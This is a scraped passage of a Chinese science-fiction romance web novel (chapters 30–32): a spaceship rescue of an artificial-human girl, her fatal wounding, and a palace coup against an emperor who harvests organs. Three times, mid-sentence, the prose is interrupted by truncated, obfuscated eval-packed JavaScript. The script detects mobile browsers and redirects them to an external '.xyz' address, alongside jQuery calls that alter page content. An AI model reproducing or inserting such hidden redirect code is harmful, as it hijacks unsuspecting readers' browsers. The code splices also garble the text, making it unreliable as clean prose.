RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822653|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗中。 人群的嘈杂声程度瞬间上了一个台阶。那些“优雅沉稳”的客人们像无头苍蝇一样四处奔走。咒骂声、哭喊声此起彼伏。 “你带莉莉丝先去找出口或者丹尼尔,我去拍卖台看看!”路易大声地对林沅喊。 “不行!一起行动!不要分开!”林沅一边打开耳麦搜集信号,一边带着路易和莉莉丝向舞台那边移动,斩钉截铁地拒绝。 “没错,要救一起救,要撤一起撤!”莉莉丝也附和道。 林沅搜索了半天信号,但机器人虽然被尽数击落,信号似乎仍是被不明的外力屏蔽。她放出林AA和林BB警戒四周,好在这两个机器人并不需要信号也可以工作。 他们艰难地挪动到舞台边缘,靠近鸟笼的一方。因为升降台卡住,鸟笼已经被打开,那位姑娘正在被拍卖场的工作人员转移,而另一方不明势力的机器人正在跟他们交火。 一位看起来像是客人打扮的年轻男子正与带走那位姑娘的工作人员对峙。那位拍卖场的人看起来也不是什么寻常安保,银色的激光武器闪着冰冷的弧线,对着客人无声威胁:“让开,否则我不保证留着你的命。” 那位客人却毫不畏惧:“死了这里的任何一个客人对你们来说都是承担不了的损失……把她给我。” “他是谁啊?”莉莉丝小声问道。 “管不了那么多了!”路易和林沅已经注意到了从另一边悄悄摸过来的丹尼尔和安妮。路易一边低声答复莉莉丝,一边和丹尼尔以手势示意。 林沅突然想起来,他们俩似乎本科时便是军校同学。 两个男生加上安妮瞬间暴起。林沅一边护着莉莉丝,一边在暗处指挥林AA保护三人,随时准备应对任何方向的攻击。 林BB则被她扔到手持武器的拍卖场安保那边,瞬间爆发出的巨大能量将所有人手中的激光武器尽数报废。 但林BB也立刻能量耗尽,踉踉跄跄地飞回来。 另外三人也在所有人没反应过来的瞬间各自完成了任务。安妮到了那个金发姑娘身边,保护她撤退,路易和丹尼尔则负责断后。 安妮拽不动那个毫无反应的姑娘,只能把她公主抱起来狂奔。 那位年轻的客人不明白状况,紧紧跟上安妮却又不敢轻举妄动:“你是谁……把她给我!” 安妮也不甘示弱,一边狂奔一边回绝:“你又是谁啊,离我远点!” 林沅带着莉莉丝不动声色地往外撤退,混在狂奔的人群乱流中悄无声息地回到他们开来的飞船边。 她火速启动了飞船,莉莉丝则在门口接应路易和丹尼尔。她心焦地大喊:“安妮呢?” 屏蔽似乎终于解除,林沅接收到安妮的位置信号,大喊一声“抓稳”便直接操作飞船拔地而起,差点把其余三人甩倒在地。 “我去,你开碰碰车的吗?”路易大声抱怨道。 “人命关天!”莉莉丝尖叫着反驳他。虽然自己也很狼狈地拽着门边。 视线尽头,奔跑的安妮、怀里的姑娘、不明身份的客人、源源不断的追兵,像一副荒诞的动态沙画,一瞬间近在咫尺。 30.落幕曲 “安妮!上来!” 林沅在驾驶舱对着通讯大喊。 飞船银色的机身以恐怖的速度擦破空气,像碰撞金石的刀剑,划出炽烈的火光,在空中爆裂灼烧! 一瞬间闪过互相追赶的人群,飞船的机腹甩出一个救援爪,将安妮牢牢地固定其中,而安妮则紧紧地抓着那位姑娘。 一直紧追不舍的客人竟然也以常人无法理解的巨力猛然跃起,抓住救援爪尖锐的末端,即使双手鲜血淋漓,也不肯放开。 于是机械爪在机舱把成果甩开的时候,一共有三个人混乱地掉在地上。 安妮利落地滚开卸力,怀里的姑娘被她好好地护住了头,却在最后一刻因为不慎脱手,轻轻掉落后向另一方向倾斜过去。 丹尼尔和莉莉丝立刻接住安妮。那位年轻的客人接住了他心心念念的姑娘。 两方人马在飞船中无声对峙。 “你们是谁?” “你又是谁?” 两句质问几乎同时落在空气中,无声的审视和防备在迅速蔓延。 年轻的姑娘似乎在跌宕起伏中被震醒。她慢慢看清了眼前的人,一双颜色如同春意般盎然的眼睛不再是无神的静水,反而变成了沸腾的新茶。 “老师!”她欢欣雀跃。静止的油画染上了动态的灵魂。 年轻的客人揭下面具,半跪在地面,把姑娘深深攥进自己怀里,如同揉入生命中另一半血肉。 众人这才看清他黑色的西装里似乎还仓促套着实验室的白褂。年轻的脸庞清俊而英挺,带着失而复得的巨大喜悦。 林沅忙着检查安妮受没受伤,路易接手了操作台,丹尼尔和莉莉丝则站在一旁,防止有任何万一。 “哈喽,哥们儿,你总得跟救命恩人解释一下这是什么情况吧?”莉莉丝抱臂胸前,非常戒备地看着眼前这对激动的年轻男女。 “我是B43星的研究员,她是我的……实验对象。”年轻的男人犹疑着,向他们自我介绍。 “就这样吗?没别的啦?”莉莉丝等了一会,有些不满意,“你们这个自报家门也太没诚意了,连名字也不肯说。” 研究员摇了摇头:“B43星土生土长的原住民们从来没有名字……而我们也只是有编号和生物基因信息的人造人。” “那我只能叫你们研究员和小姑娘喽。”莉莉丝耸耸肩,不置可否。 研究员感激却又警惕地看着他们:“感谢诸位仗义相助……她离开拍卖场,也就失去了自身之外存在的意义。还请诸位,放我们一条生路。” 林沅检查完安妮,确认她毫发无伤,便也走了过来,摇了摇头:“即使今天你侥幸带她逃脱,余生前路,恐怕也只会剩下无尽的追杀。” 研究员沉默了片刻,只是抬头问道:“还没请教,请问各位是……今天的大恩,以后有机会,我一定会报答。” 林沅和其他人面面相觑,一瞬间便决定延续之前的人设:“我们是从首都星来见识一下拍卖会的……” 她一一介绍众人。开飞船的路易是保镖,莉莉丝是堂妹,丹尼尔与安妮是一对热恋中的小情侣。 研究员疑虑地打量了一下众人,决定让自己先接受这漏洞百出的说辞。美丽的姑娘只紧紧缩在他怀中,似乎除了这里,整个世界没有让她安心的居所。 大家正要商量接下来怎么做,便突然被一阵剧烈的颠簸打断——飞船遭到了外力的攻击! 路易调出四周的画面,咬牙切齿地把自己固定在操作台,冲后面大喊:“你们没事吧?” 受到撞击后,飞船向一侧严重倾斜。研究员护着怀里的姑娘,后背狠狠砸在舱壁上。林沅也差点被甩向舱壁,还好被安妮死死拽住。莉莉丝则一把抓向丹尼尔,靠着他稳稳固定在飞船另一侧。 众人表示自己没问题。林沅挣扎着挪过去,在颠簸中帮路易稳住飞船,摆正飞行姿态。 “我活到二十二岁,第一次有人敢攻击我的飞船。”路易漂亮凌厉的眉眼此时此刻显得格外阴沉。 林沅有些无奈。想想也知道,这位大少爷,作为枢机主教与准帝国元帅的私生子,在首都星乃至整个星际帝国,恐怕都是没人敢惹的存在。 “你今天要在这里被俘,那才叫轰动世界了。”丹尼尔等人也挣扎到前台,对着他冷嘲热讽。 “行了行了,专心。我看今天怕是不能善了了。”林沅叹了口气,眉头紧锁,死死盯着屏幕里向他们追击而来的飞船。 挂着硕大金色鸢尾花徽标的B43星军队飞行器,像鬼魅一样如影随形地追着这个小小的民用座驾。即使林沅等人的驾驶技术再高超,装备的代差是不可能被凭空抹去的。 “不然,把我们交出去吧……”年轻的研究员未经沧桑的脸上,带着对命运宣判的颓然。 “开什么玩笑!”莉莉丝立刻反驳他,“我们都冒着风险走到这一步了,哪能半途而废!” “能不能跟他们公开身份?”丹尼尔突然冷静地说道。 路易摇头:“他们根本不接我们的通讯。” “正义向邪恶低头,我不信这世界上有这种道理。”莉莉丝恶狠狠地给飞船攻击系统充能。即使这点攻击对军方来说等同于无。 研究员似乎有些感动,却还是笑着叹气:“这个世界上如果真有什么不能打破的定理,或者因果报应天道好还,那这颗星星就不会存在了。” 让人窒息的沉默在空气中蔓延。 的确。倘若真有什么不灭的正义和真理存在,那么B43星上死去的一代又一代人造人,作为器官供应和移动血库的拍卖品,为什么永恒重复着悲惨的命运?而那些道貌岸然的富人,却享受着年轻器官和血液的滋养,永远不必担心疾病的侵扰? 从出生前就通过基因定制,延长基础寿命。面对成长环境造成的基因突变,又有无数可买卖的器官在等待着为他们献上新生。 这才是新人类三百岁平均寿命的真相。 “我不信因果报应。”林沅清澈明净的嗓音突然打破了沉默,“但我也不信生来注定。” 她原本柔和美丽的眉眼在飞船闪烁的照明灯光中,显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825716|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外镇静甚至冷峻:“从前这里没有公义,是因为我们没有来为它争取。” “我不信这世上没有公理可言。倘若真的没有,那便杀出一条血路来。” 她操纵着飞船以九十度直线上升的姿态突然向天空直冲而去,在半空中划出一道惊心动魄的优美弧光,闪避了一片连绵不绝的攻击。 军方跟着她的轨迹转向。但路易的这艘飞船虽然动力和速度不足,却胜在小巧灵便,比满载了弹药和能量的军方飞船反应更加迅速。 林沅操纵飞船在空中三百六十度转向后,面对向她追击而来的敌军,突然以抖动的轨迹向机群俯冲而去,然后以一个极其刁钻的角度出现在对面机群中,与一众军方飞行器面对面擦肩而过! 她再次瞅准时机给飞船充能加速,将来不及转向的军方飞船遥遥甩在身后。这样一前一后,大概延长了比之前五倍还多的间距。 在和林深一起驾驶飞船出事故后,她回到银河联盟的第一件事就是练习驾驶技术。想不到不出半年就用上了。 但周围有越来越多的飞船加入进来,似乎是来自于那位买家的势力。大概是付出了相当多的金钱和时间成本,他不愿就此放弃这只妄图飞出囚笼的小鸟。 他们与敌方的距离到还算安全,林沅的驾驶技术给足了所有人安全感。但难以回避的隐患就是这座民用飞船没有足够坚硬的外壳材料隔绝所有武器攻击,不断被击碎的舷窗和变得嶙峋不平的外壳,似乎在敲响命运最后的警钟。 到底是山穷水尽了吗?终究是命运只能到此了吗? 所有人的心底都有着浓浓的、化解不开的不甘。却只能狼狈地收起心情,慌张躲避外来的攻击。 在最后一面舷窗碎裂的一瞬。似乎是源于心灵感应一般的预兆,那位年轻美丽的姑娘心脏不安地极速跳动,世界在她眼里成为慢放的默剧。 似乎终于厌倦了长途飞行与永恒奔命的旅途。她舒展了自己的双臂,扑到她的研究者、她的老师,也是她的爱人怀里。 如同鸟儿张开翅膀。 火红的玫瑰在她的后背大片大片的铺展开。她降落在爱人怀里。曲终落幕,鲜血是恋人的勋章。 “米娅……”研究员颤抖着抱住了他的飞鸟。 在B43星上,所有只有编码和基因卡片的人造人中,他拥有一个属于自己的、特殊的姑娘。在千篇一律让人眼花的代码中,他独独为她起了名字,代表着对一个正常的人生所能拥有的全部美好的想象。 拥有名字的那一刻,名字被爱人喊出的那一刻,似乎可以遗忘日复一日实验的麻木,遗忘一次又一次被割下又生长的剧痛。 于是木偶生出血肉,飞鸟振翅高空。 在所有人都绝望了的一瞬间,最上方的天际尽头,绘制着帝国首都星旗帜的飞船像流星一般从天轰然而降,反推刹车的火光像神明降临的圣火,将中间那艘小小的飞船,牢牢地包围其中。 林沅不可思议地看着虚拟屏中,出现在其中一架飞船上熟悉的身影。 威廉·霍恩海姆。 31.抢救中 威廉一如既往地穿着那身深灰绿色的制式军装,尺寸正好的腰带勾勒出一截青竹翠柏般劲瘦的腰身。 烈烈寒风中,军装大衣的衣摆如同旌旗飞舞。 林沅却顾不上这许多。她终于毫无后顾之忧地抛却操作台,飞扑到研究员和他怀里的米娅那边,斩钉截铁地大喊:“医疗机器人!止血!急救!” 在所有人都懵了的一瞬间,迅捷得好像一道劈开迷雾的闪电。 所有B43星的军方飞船和买家控制下的私人武装,都在帝国军部绝对的威严和火力压制下瑟瑟发抖,安静得如同一只见到了老鹰的麻雀。 与外面顺从的静默不同。林沅所在的飞船内部,紧张的气氛攥紧了每一个人的呼吸。 米娅没有完全失去意识。她像一只飞累了的小鸟,安静地躺在自己的研究员怀里。心肺的位置弥漫着大片血迹,如同凄美绽放的玫瑰。 她的表情却并不痛苦,反而出奇的平静。甚至可以称得上……安宁。 似乎这并不是一个遭受了致命攻击的生死时刻,而是一个宁静安详的午后。她只是一个最普通的姑娘,没有任何基因强化,也没有任何值得别人逐利和厮杀的特别之处。 阳光正好,空气清新。B43的夏日如同帝国群星的每一个夏天那般热烈着,生机勃勃。 她仿佛也不曾在鲜血的绽放中迅速枯萎。而是依偎在爱人怀里,享受平静的亲昵。也许还有繁盛的紫藤,交织于头顶的花架。 躺椅摇摆,昏昏欲睡。 林沅不知道自己已经泪流满面。这是她来到这个世界后,第二次站在别人的生死边缘。她扑在米娅的脚边,一瞬不瞬地盯着医疗机器人一步步抢救眼前的姑娘:“不是可以器官再生吗?一定没问题的……对吧?” 年轻的研究员摇了摇头,声音艰涩地开口,努力不让自己的悲伤和崩溃尽数暴露于人前:“器官再生的前提是宿主生命的延续。她恐怕……伤到了心脏,并不一定能够撑到器官再生的时刻。而心脏再生的速度,远远赶不上被破坏的速度。” 飞船上简陋的医疗机器人做不了心脏维持这种程度的手术。林沅咬紧牙关,感觉到自己呼吸间的血腥气。她撑着让自己的骨骼不要在悲痛中碎裂,艰难地站起身,奔跑到飞船舱门边。 她的手指还没有按上门边的启动按钮,威廉已经从外面了获得了进入许可。 林沅像冒失的动物一般,撞到了猎人的怀里。 她在泛着冷意的军装前抬起头,看着眼前逆着光的高大身影,两只手死死攥着威廉敞开的大衣领口:“殿下……求您……救救她!” 威廉戴着粗糙的军装手套,轻轻拭去她脸颊边不小心溅上的一点血迹:“我让人把她转移到有维生系统的那艘飞船上。但维生系统的能量最多只能撑一天一夜,她需要去首都星。” 林沅有些感激地拼命点头。那位研究员心怀疑虑,亦步亦趋地跟着前来转移伤者的帝国军人。威廉示意手下不必阻止他。 事情似乎终于有了转机。此时此刻,林沅才觉得心里有些放松。她刚刚经历了一场生死时速的追逐战,有些精疲力尽的虚脱。 头脑却仍然清醒。她顾不上周围努力缩减自己存在感的一群人,忍不住有些担心:“殿下……你怎么会出现在这里?” “我刚遭受不明袭击的未婚妻,突然和同学们一起开了私人飞船来到一座偏远星球,参加我不知道的日程。难免有些担心,所以跟了过来。”威廉耐心地解释,声音温柔,眼神却有些审视地掠过了一边仿佛正在罚站的众人。 林沅突然有些不明所以的愧疚:“事出突然,没有来得及通知您……” 威廉却笑着摇摇头:“你是自由的。” 他非常贴心地问林沅:“你要待在这里,还是去看看那个姑娘怎么样了?” 林沅却摇摇头:“她有自己在乎的人陪着就可以了……”眼神有些难以形容的悠远。 “我没想到你会这么在乎她。”威廉示意手下,自己会跟着这艘私人飞船回去。副官们面面相觑地退下。 “我大概跟B43星的行政官那边了解了事情的经过……以为你们只是萍水相逢……”威廉从附近找了一方纸巾,一点一点轻轻抹去林沅脸上残留的泪痕。 安妮他们全都默契地集中在操作台那边,背对着两人。仿佛这不是一艘智能的私人飞船,而是大航海时代,需要所有人共同努力手动前行的风帆。 “的确萍水相逢。”林沅轻轻握住他放在自己脸颊边的那只手,低声喃喃,“可是我总觉得,如果救不下她……那我今天堂而皇之拥有的这一切,也实在没有意义。” 威廉没太明白她的意思,但是感觉林沅的状态不算太好,也就没有多问。 他借着林沅握住自己右手的姿势,顺势将她揽在怀里:“没关系,你已经成功了。” 林沅摇摇头,惨然一笑:“成功的是殿下。” 威廉坚决地反驳她:“我的一切也都是你的,阿沅。” 林沅在他怀里轻轻摇头:“我不是想要伤您的心,殿下。可是你是你,我是我。你的是你的,我的是我的。” 她轻轻推开威廉,叹了口气:“总之……谢谢你……威廉。” 威廉安慰的目光平静地注视着她:“没关系,我总会证明给你看的。” “这不是证明。”林沅忍不住有些真心实意地笑了,她感觉面前的人有些时候像争强好胜的小孩,“很多事情是客观事实,不会以人的意志为转移。也不会因为情感的偏向,而顺其自然地发生。” 威廉更加疑惑地看着她。林沅却并没有再次解释。他们安静地陪伴彼此,和那些假装鹌鹑、努力缩减存在感的小伙伴们一起,用最快的速度,迅速回到了首都星。 路易的私人飞船动力要不足一些,他们下了飞船的时候,米娅已经在医院抢救。 威廉跟努力缩进人群中的路易与丹尼尔擦肩而过,顿了一下:“下不为例。” 路易在他身后张牙舞爪。威廉一回身,他立刻假装恭恭敬敬地敬礼:“还有吩咐 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“啊,这……”院长惊异地顺着他的视线望了一眼,回头将目光在威廉和林沅之间逡巡,“抱歉,殿下,恕我直言,将最高标准的维生舱用于这种几乎已经被宣判死亡的人造人……似乎是一种医疗浪费。” 林沅难以置信地看着他。研究员本来委顿在一旁,听了这段话,几乎要立刻上前,却被旁边的两位军官死死拦下。 林沅不等威廉出声,立刻咬牙切齿地质问:“抱歉,先生……请问如果今天是任何一位非人造人的帝国公民躺在这里,你会拒绝给他使用最高标准的维生舱吗?” “当然不会拒绝。”院长有些疑惑,理所当然地回答道。 林沅怒极反笑,语速极快:“帝国早在百年前,人造人诞生之初,就设立了平权法案。甚至连当今陛下,都是一位众所周知的人造人。” “请问您遵循的哪条法律,规定人造人天生就低人一等?” 院长意识到自己习惯性的判断造成了失误,擦了擦额头上的冷汗:“我还以为……抱歉,我立刻去安排。” 他急匆匆地进了抢救室,指挥医护和机器人立刻给米娅挪动至最高标准的维生舱中抢救。 林沅无力地看着眼前荒诞的一幕。她不知道是什么样的惯性和惯例,能让医院下意识将病人分成三六九等。 不是因为贫贱富贵,仅仅是因为出生的方式。 仿佛降生到这个世界上,就是人造人的原罪。 无声流淌的窒息氛围中,医院的电子屏上,帝国新闻台正在播报着突发新闻。 B43星的拍卖会事件和米娅的遭遇不知被哪位客人用特殊手段进行了暗中拍摄,并全网传播。大量人造人和普通人涌上街头,开始游行抗议帝国对人造人的歧视。 威廉的通讯器闪着让人不安的红光。他示意林沅放心,按着耳麦低语了几句,便不动声色地挂断。 往日如同深渊般表面平静的湛蓝双眸,此时此刻仿佛揭去了隐忍的伪装,闪动着疯狂的期待。 “示威人群聚集在宸宫和枢密院……我们的机会来了,阿沅。” 32.火烧云 “什么机会,殿下?”林沅仍然心系着病房里的米娅,转头疑惑地看了威廉一眼。 他微微倾身,附在林沅耳畔,声音低沉,带着不能掩饰的愉悦:“改变帝国政治格局的机会。” 隔着最后一点几近于无的安全距离,仿佛能闻到军装上永远洗不干净的硝烟和血腥。 粗砺尖锐,割裂喉腔。 “这里有医生照顾。我会把两位军官和这个人一起留在这里。”威廉的目光短暂在失魂落魄的年轻男人身上掠过一瞬,很快便继续注视着林沅:“阿沅愿意替我做一件事吗?” 林沅目光坚定,如同月色下平静无波的湖水。她镇静地回答:“身为您未婚妻职责范围内的一切事物,请殿下放心交给我就好。” 山雨欲来,她瘦弱却坚韧的身躯抵抗着外力的侵扰,仿佛风暴摧折下不肯弯腰的野花。 每次注视林沅的时候,威廉的眼神,都像是在万年不化的坚冰中,尽力用双手捂热最微不足道的一角,化出一小滩淋漓的春水。 他抬起戴着黑色军装手套的右手,轻轻将林沅侧边披散的长发别至耳后:“我要去一趟枢密院。虽然在这个时候,很希望你能陪在我身边……但是需要你去一趟宸宫,稳住我的好‘父亲’。” “现在,他是我们手中最重要的筹码之一。让他乖乖待在宸宫,没有你的允许,哪也不许去。” 两人在医院分别。林沅回头望了一眼身后巨大的建筑,像是看着一只吃人吞骨的巨兽。 她隐隐感觉到了,这个庞大的、颤巍巍的帝国,正走在历史变革的风口浪尖。 无论前方是深渊亦或坦途,身为帝国皇储的未婚妻,她别无选择。 威廉留给她的军部亲卫护送她上了军用飞船。林沅路过门口内侧绘制的银色巨兽,假装天真又不太在意地询问身旁的舰艇长:“这是什么……先生?很漂亮呢。” 四肢牢牢抓着地面,威风凛凛的鬃毛根根倒竖,獠牙时刻威胁着看不见的敌人……这似乎是一只银色的雄狮。 舰艇长向她解释,这是军部雪狮系列飞船的徽章,代表着隶属于帝国皇储的雪狮部队。 威廉没有选择那些挂着金色鸢尾花的军部主力,而是将很少动用的亲卫留给了她。 林沅未置一词。只是微微低敛眼睫,提起繁复的裙边,向飞船内部更深处走去。 凭着雪狮号的动力,医院到宸宫停机坪不过一瞬。林沅带着一群整装待发、武器满载的军官,浩浩荡荡向宫内走去。 飞船停驻的位置背对着宸宫大门,隔绝了前方广场上游行示威的人群。林沅提着裙摆,在亲卫辟开的道路上不疾不徐地前行,优雅白皙的脖颈始终挺直,黑色长发一丝不苟地盘起,头颅高昂,如同睥睨的天鹅。 宸宫的戍卫早已被威廉下过命令,一言不发地注视前方。 林沅极其顺利地进到宸宫内部,帝王的书房中。她得到亲卫的情报,陛下正在这里接见几位匆匆赶来的书记官,商量如何安抚游行示威人群的事宜。 轰然打开的书房大门,像意外炸开的哑弹,将门内的皇帝和大臣吓得六神无主,只以为是有刁民或者叛臣闯入。 他们或惊恐或疑惑地看着突然闯进来林沅。她穿着一身浅粉色却沾带血迹的古怪礼服,唇角微勾,杏眼在小巧白皙的面庞上黑到发亮,整个人显得格外甜美姝丽,仿佛在清晨朝阳晾晒下的露水中采集花蜜的精灵,与周围簇拥她的军官们肃杀的氛围格格不入。 病弱的皇帝突然剧烈地咳嗽,好像快把心肺咳出胸腔。他伸出枯槁的右手颤抖着指着林沅,却说不出一句话。 林沅沉默地看着他,感觉像是看着一株行将就木的枯树。 仅仅半年的时间,皇帝便衰老得像是年长了几十年。他的基因链正在加速崩解,恐怕撑不过下一个半年了。 “怎么,这是干什么?你要反了吗!”那位在枢密院见过的老书记官看起来都比陛下要更年轻一些,此时正愤怒地瞪着林沅一行。 林沅并不急着应答。她示意身边的军官们不必紧张,缓慢优雅地向着皇帝的方向前行。 此刻她倒有些感激路易准备的这条廉价的浅粉色裙子。虽然材质普通,但是在黑白灰元素盛行的宸宫,仿佛一支盛开的粉色玫瑰,凝聚了全场所有人的目光。 她吩咐军官们守住大门,在皇帝和书记官们暴怒的指责声中不紧不慢地打开书房一侧墙壁上巨大的虚拟屏幕,播放帝国新闻台正在直播的紧急新闻。 汇集在枢密院中央空地的游行人群呼声震天,拍卖会中的人造人惨状像是一把点燃愤怒的火炬,将这些隐忍不发的人群灼烧至历史舞台,发誓要和这些不公平的现象抗争到底。 “拒绝人造人产业链!”“拒绝皇室特权!”高清直播的机器人将人群的呼声一字不差地传播至千里之外的宸宫,面色铁青的皇帝和书记官们耳中。 “你这是什么意思?你想干什么?”皇帝终于平息了他那种破碎风箱一般的咳嗽声,嗓音嘶哑,充斥怒火。 “没什么。”林沅优雅地坐在副官为她寻来的椅子上,正对着虚拟屏,专注地看着直播。 一位书记官似乎想朝着大门硬闯出去,立刻被按在地上,发出杀猪一样的嚎叫:“……你们这是要造反!” 林沅示意两位军官压着他过来。其余的军人们迅速恢复在大门口列队的阵型。一个个银灰色的挺拔身影如同矗立在阴影中的石像,不安的情绪迅速在皇帝与几位书记官心中蔓延。 她平静地看着眼前脸色涨红的书记官,示意松开他嘴上的封带。一句难听的咒骂立刻脱口,不等林沅有所示意,看不下去的副官马上给了他侧脸重重的一拳。 书记官趴在地上,狼狈吐着带着鲜血的唾液。 皇帝的愤怒像是被点燃的山火。他在两位书记官的搀扶下慢慢向林沅挪过来,却被军人们拦下。 “好,好……你们现在出息了,翅膀都硬了。”皇帝环视四周:“今天过后,除非杀了我,否则你们都是阴谋颠覆帝国的叛徒,统统要被送上军事法庭!” 军人们依旧如同没有情感的石像,面对他的威胁,一言不发。 林沅始终优雅地挺直着腰背。她往日温柔如同春水的双眸,此刻锐利地直视着年迈的帝王:“陛下错了。” 皇帝艰难地喘息。如同离岸后,拼命汲取氧气的游鱼。 林沅继续平静地说道:“据我所知,陛下登位之初,叛乱四起,帝国摇摇欲坠。” “这天下,是威廉·霍恩海姆殿下带着帝国军部,一寸一寸打下来,尸山血海填出来的。” 她仰视着不知作何感想的帝王,却冰冷高傲地如同俯视一切,和皇帝最讨厌的“便宜儿子”如出一辙:“您说,是谁,造谁的反?” 皇帝愤怒地大吼,却根本没办法近她的身:“我才是这个国家的皇帝!你们反对我,就是这个国家的叛徒!” 他想要书记官们联系直属于皇帝的亲卫部队。书记官们的通讯仪器却早已被军官们卸下,整座宸宫也已经在林沅的授意下,处于单向的信号屏蔽之中。 此时此刻,这里只是一座淹没在汪洋大海中的,孤零零的小岛。 林沅听了他的话,却摇了摇头,非常温柔地笑了:“陛下,谁想要窃取帝国和平发展的成果,谁就是叛臣。” 皇帝似乎不明白她的意思。林沅也并不急着解释。她专注地看着虚拟屏,愤怒的人群已经冲开了毫无防备的枢密院大门,打开了最深层的地下基地。 无数个人造人的“棺椁”安静地陈列在枢密院的地下,在愤怒的火光中,得以重见天日。 威廉·霍恩海姆的身影出现在镜头中央。他带领的军队展开警戒,艰难地阻拦着愤怒的人群。威廉却接过一位示威者手中古老的火把,干脆利落地跳进密密麻麻的“棺椁”之中。 皇帝终于意识到了最不对劲的地方。他惊恐地挣扎着,眼珠仿佛要瞪出骷髅一般的眼眶:“你疯了……他疯了……你们这些疯子……叛徒!” “叛徒!”他嘶哑地大吼,好像一具被恐惧和愤怒焚烧的干枯尸体,在肉眼可见地衰败、扭曲和腐朽。 他颓唐地蹲坐在地上,发出让人恐惧的沉重呼吸,眼睛血红。 几位书记官也茫然不知所措地看着虚拟屏上的一切。 林沅却似乎终于“良心发现”一般,耐心地向他们道歉:“很抱歉……我知道,断人财路如同杀人父母,而殿下即将断掉枢密院最大的财路……不过好在你们这些生来无父无母的吸血鬼,不必为这些微不足道的细节忧愁。” 她沉静的目光转向狼狈的皇帝:“大概在人造人制造之初,没有人会想到,压榨人造人最狠的,也是一位人造人吧?” “你懂什么……你们这些,高高在上的……蠢货。”皇帝诡异地笑了,争着一双浑浊的眼睛,狠毒的目光死死咬着林沅的身影,“你们动了最不该动的利益链……我今天是输了,可你们也必死无疑。” 林沅沉默地看着他。此时此刻,背景中的虚拟屏中,威廉正在慷慨陈词。 一个直播机器人跟着他飞下基地,在阴暗与光明交织的边界,清晰地收录着威廉坚毅俊美的面庞,和坚冰般冷峻的湛蓝色双眸。 他开口,声音带着与面对林沅时截然不同的威严和肃穆,如同冰棱突起的石窟中,四处横生的铁刃:“……我将在此,亲手结束传承百年的痛苦宿命。” 他展开右臂。古老的火把像是飞翔的孤鸟,借着臂力飞翔至视线尽头,无穷无尽的人造人“棺椁”中。 熊熊火焰瞬间点燃,顺着连绵的棺椁迅速向威廉的方向袭来。 人群爆发出一阵掀破天际的欢呼。威廉借着机器人的手臂迅速上升,躲过奔涌而至的火舌。 他平稳地降落在地面的人群边缘。人们的目光惊异又敬佩,转瞬之间,虔诚地如同朝圣。 直播机器人紧紧跟随而至。高清镜头下,一点点的烟灰痕迹,将他大理石一般光洁的皮肤渲染地更加真实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850664|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他在一阵又一阵巨浪般的欢呼声中大声开口,声音顺着星际网络,传播寰宇:“我在此宣布!” “第一,终结星际帝国境内一切人造人产业链。从此刻起,禁止进行任何相关的生产和研究。” “第二,终结皇室一切合法生产人造人作为器官库的特权。销毁所有从出生起,就冰冻着等待被使用的、我的人造人兄弟姐妹。器官买卖,不再是人造人的宿命。今天,我以身作则,用我一个人身负的罪孽,结束所有无穷无尽的苦痛。” “第三,推行平权法案。人造人享有与自然人一样的一切权利和义务。” 人群中的欢呼带着掀翻一切的伟力。虚拟屏外的皇帝却只剩下虚脱一般的惶然:“这个骗子、小偷、无耻之徒……” 他愤怒却无力地咒骂着:“那里根本没有他的兄弟姐妹……那是我的……我要长命百岁有错吗,我想活着有错吗?” “他是杀人犯……”皇帝颤颤巍巍指着虚拟屏,似乎在劝诫林沅,“你看不出来吗,他在杀人啊!” 他环视四周,被这种平静的沉默近乎逼疯:“他在杀人……一样都是杀人,你们为什么不肯拥护我!” “什么特权的器官库……他是害怕这些人威胁到他继承皇位!” 林沅耐心地看着他:“要想结束器官买卖,皇室必须自身作则。总不能废除一切产业链,却因为自己的“仁善”,留下人尽皆知的后路……殿下说了,这是他的罪孽。他从未说过这是一种光荣。” 皇帝“呼嗬”“呼嗬”地喘着粗气。 “如果没有您带着枢密院的大肆敛财,让枢密院成为B43星背后最大的资本。殿下他……何至于此呢?”林沅一瞬不瞬地盯着皇帝。这些在剧本中不曾细述的剧情,全部来自于威廉的调查。 “为什么……为什么……你们可以长命百岁,我却只能当一个生来残缺的人造人……”皇帝嘶哑的嗓音回荡在大厅中。 “我也很抱歉,陛下。但你的悲剧,不该用别人的悲剧来弥补。” “你们这些疯子。”他浑浊的眼睛老泪纵横,“你们让全帝国的人失去黑市的器官买卖,以为这是公平正义?” “你们在挑战人性……是绝不会有好下场的。” 林沅却根本没有任何动摇:“长命百岁可以靠基因优化,器官移植可以发展体外培育。这世间科技发展有无数方向,没有一种该拿活人的一生做垫脚石。” 皇帝似乎大受打击,不再说话。那位年老的书记官却终于忍不住:“你们这些愚蠢的年轻人……妄图用那点微不足道的力量改变世界。天真、理想主义,但是人类的发展历史早就证明,理想主义没有市场,只有自掘的坟墓。” 林沅微微低头,轻轻笑了:“您觉得我们愚蠢,是吗?” 